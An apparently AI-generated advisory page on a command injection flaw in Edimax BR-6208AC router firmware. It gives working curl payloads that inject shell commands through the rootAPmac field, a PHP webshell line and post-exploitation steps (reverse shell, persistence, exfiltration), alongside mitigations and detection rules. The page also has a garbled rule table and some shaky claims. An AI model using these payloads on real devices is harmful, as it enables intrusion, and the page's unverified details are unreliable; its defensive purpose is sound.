CVE-2026-143935 — Edimax BR-6208AC — CWE-77 · CWE-78
A vulnerability has been found in Edimax BR-6208AC 1.03. This affects the function formWlbasic of the file /goform/formWlbasic of the component Web-based Configuration Interface. Such manipulation of the argument rootAPmac leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A vulnerability has been found in Edimax BR-6208AC 1.03. This affects the function formWlbasic of the file /goform/formWlbasic of the component Web-based Configuration Interface. Such manipulation of the argument rootAPmac leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
Technical flaw
The Web‑based Configuration Interface of the Edimax BR‑6208AC 1.03 firmware exposes an HTTP endpoint /goform/formWlbasic.
The rootAPmac argument is expected to contain a MAC address, but the firmware passes this value directly to an underlying shell command without any sanitisation or validation.
Because the value is not escaped, an attacker can inject shell metacharacters (;, &&, |, etc.) and cause the firmware to execute arbitrary OS commands.
CWE mapping
- CWE‑77 – OS Command Injection (unsanitised input used in a system call).
- CWE‑78 – OS Command Injection (unsanitised input used in a system call).
- Attack Vector (AV): Network – the device is reachable over the network.
- Attack Complexity (AC): Low – no special conditions beyond sending a crafted request.
- Privileges Required (PR): High – the web interface normally requires an administrator login; the attacker must either obtain those credentials or the device must be mis‑configured to allow unauthenticated access.
- User Interaction (UI): None – the exploit is fully automated.
- Scope (S): Changed – the vulnerability allows the attacker to affect the entire device and any connected network.
- Impact: Confidentiality, Integrity, Availability all High – the attacker can read sensitive data, modify configuration, and disrupt service.
CVSS‑3.1 vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
⚡ Attack Chain
NOTE – The following chain uses the exact endpoint and parameter names supplied in the CVE description. If an organization’s firmware differs, the same logic applies but the exact URI or parameter may vary.
1. Discovery & Reconnaissance
| Step | Technique | What you learn |
|---|---|---|
| 1 | Network scan | Identify IPs of Wi‑Fi access points. |
| 2 | Banner grab | curl -I http://<ip>/ → look for “Edimax BR‑6208AC” or firmware version 1.03. |
| 3 | Web‑interface enumeration | curl -I http://<ip>/goform/formWlbasic → confirm the vulnerable endpoint exists. |
| 4 | Credential check | Attempt default credentials (e.g., admin/admin). If successful, you have admin privileges; otherwise, you must compromise credentials via phishing, brute‑force, or social‑engineering. |
2. Exploitation
Crafted request
curl -X POST \
-d "rootAPmac=00:11:22:33:44:55;id" \
-d "otherParam=value" \
http://<device-ip>/goform/formWlbasicWhat happens?
The firmware concatenates the supplied rootAPmac into a shell command such as:
/usr/sbin/iwconfig wlan0 hw ether 00:11:22:33:44:55;idThe semicolon terminates the intended command and injects id. The device executes id and returns its output in the HTTP response body.
PoC output (illustrative)
HTTP/1.1 200 OK
Content-Type: text/html
... (normal formWlbasic response) ...
<pre>
uid=0(root) gid=0(root) groups=0(root)
</pre>Arbitrary command execution
Replace id with any shell command:
curl -X POST -d "rootAPmac=00:11:22:33:44:55;cat /etc/passwd" http://<device-ip>/goform/formWlbasicThe response will contain the contents of /etc/passwd. From here, the attacker can:
echo '<?php system($_GET["cmd"]); ?>' > /www/webshell.php).iwconfig, ifconfig, iptables).cat /etc/config/*).3. Post‑Exploitation
| Goal | How it’s achieved |
|---|---|
| Full RCE | Use the injected shell to run any command, including installing a reverse shell. |
| Privilege Escalation | The firmware runs as root; any command runs with root privileges. |
| Persistence | Create a cron job or systemd service that re‑installs the webshell. |
| Data Exfiltration | Use scp, wget, or curl to send data to an attacker‑controlled server. |
| Pivoting | Once the device is compromised, use it as a foothold to scan the internal network, sniff traffic, or launch further attacks. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary commands can read any file on the device, including configuration files, logs, and potentially credentials for connected clients. |
| Integrity (I:H) | The attacker can modify network settings, disable security features, or inject malicious firmware updates. |
| Availability (A:H) | By crashing the device (e.g., kill -9 $(pidof firmware)), the attacker can deny Wi‑Fi service to all clients. |
| Scope (S:C) | The vulnerability affects the entire device and any network segment it serves. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected firmware | Recommended action |
|---|---|
| 1.03 | Upgrade to the latest firmware (≥ 1.04) that sanitises rootAPmac. If no official patch exists, contact Edimax support for a custom fix. |
If a patch is not yet released: apply the workarounds below until the vendor issues a fix.
2. Workarounds
| Technique | Implementation | ||||||||
|---|---|---|---|---|---|---|---|---|---|
| Disable remote management | Reconfigure the device to allow management only from the local network or a dedicated management VLAN. | ||||||||
| Firewall rule | Block external access to /goform/formWlbasic. Example (iptables on the gateway router):<br>iptables -A INPUT -p tcp --dport 80 -d <device-ip> -m string --algo bm --string "/goform/formWlbasic" -j DROP | ||||||||
| WAF / ModSecurity rule | Add a rule that rejects requests containing shell metacharacters in rootAPmac:<br>``<br>SecRule REQUEST_URI "@beginsWith /goform/formWlbasic" "chain"<br>SecRule ARGS:rootAPmac \"[; | & | $ | \\ | \\( | \\) | \\[\\] | \\{\\}\\\\]\" \"id:1001,phase:2,deny,status:400,msg:'Potential command injection in rootAPmac'\"<br>``` | |
| Access control | Enforce strong, unique admin credentials and enable two‑factor authentication if supported. | ||||||||
| Network segmentation | Place the access point in a separate VLAN and restrict management traffic to a secure management subnet. |
3. Detection
| Log source | Indicator of Compromise (IoC) | |
|---|---|---|
Web server logs (e.g., /var/log/httpd/access_log) | Requests to /goform/formWlbasic with rootAPmac containing ;, &&, | , or backticks. |
System logs (/var/log/messages, dmesg) | Unexpected id, cat /etc/passwd, or other command outputs appearing in logs. | |
| Firewall logs | Repeated blocked attempts to /goform/formWlbasic from external IPs. | |
| Intrusion detection systems | Alerts for “Command Injection” patterns in HTTP POST bodies. |
Sample log snippet
192.168.1.10 - admin [12/Dec/2026:10:15:42 +0000] "POST /goform/formWlbasic HTTP/1.1" 200 512If the request body contains rootAPmac=00:11:22:33:44:55;id, flag it as suspicious.
⚠️ Urgency
Patch priority: Immediate.
Bottom line
The Edimax BR‑6208AC 1.03 firmware suffers from a classic OS command injection via the rootAPmac parameter. An attacker with administrative credentials (or a mis‑configured device) can execute arbitrary commands, leading to full compromise of the device and the network it serves. The vulnerability is critical, publicly exploitable, and requires urgent remediation.
[🤖 CVE Professor AI Security Engine]
FOFA Query